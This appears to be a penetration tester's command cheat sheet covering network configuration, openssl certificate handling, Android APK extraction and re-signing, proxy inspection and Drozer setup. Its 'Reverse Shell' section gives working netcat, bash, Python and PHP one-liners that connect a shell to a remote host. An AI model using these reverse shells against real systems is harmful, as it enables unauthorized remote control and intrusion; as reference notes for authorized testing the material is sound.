cheatsheet.md

========= IP Config

Temporary static IP

ifconfig eth0 192.168.56.101 netmask 255.255.255.0
route add default gw 192.168.56.1

Reset to default IP

ifdown eth0 && ifup eth0

=========== Certificate

Read

openssl pkcs7 -inform DER -in CERT.RSA -noout -print_certs
openssl x509 -inform DER -in CERT.RSA -noout -text

Read multiple cert

openssl crl2pkcs7 -nocrl -certfile certs.pem | openssl pkcs7 -noout -print_certs -text

Generate key

openssl genrsa 4096 > user.key
openssl rsa -in user.key -pubout > user.pub

Generate SSL cert

openssl req -new -x509 -keyout cakey.pem -out cacert.pem -days 3650
openssl req -newkey rsa:4096 -x509 -keyout ca.key.pem -out ca.crt.pem -days 3650
openssl req -newkey rsa:2048 -nodes -keyout example.com.key -out example.com.csr -days 365

=== SSH

ssh-keygen -lf /etc/ssh/ssh_xxx_key

============= Reverse Shell

Netcat

remote:
rm /tmp/anyfifo
mkfifo /tmp/anyfifo || mknod /tmp/anyfifo p
sh -i < /tmp/anyfifo 2>&1 | nc 123.456.7.8 9876 > /tmp/anyfifo

local:
nc -lp 9876

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Python

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);
exec("/bin/sh -i <&3 >&3 2>&3");'

========================== Android Package Management

Getting APK

adb shell pm list package
adb shell pm path com.company.app
adb pull /data/app/com.company.app-1.apk

======================= Android APK Re-assemble

apktool b apk/
keytool -genkey -v -keystore key.keystore -alias pentest -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1
-keystore key.keystore app.apk pentest
zipalign -v 4 app.apk app-aligned.apk

============= Android Proxy

System properties

adb shell getprop | grep proxy

Settings database

adb shell sqlite3 /data/data/com.android.providers.settings/databases/settings.db 'select * from system' | grep proxy

Telephony database

adb shell sqlite3 /data/data/com.android.s.telephony/databases/telephony.db 'select * from carriers' | grep proxy

Emulator starter

emulator -http-proxy $PROXY:$PORT -verbose-proxy

Settings

adb shell am start -n com.android.settings/com.android.settings.ProxySelector

Settings -> Network Settings -> APN

Settings -> Wi-Fi

====== Drozer

adb forward tcp:54321 tcp:54321
adb console connect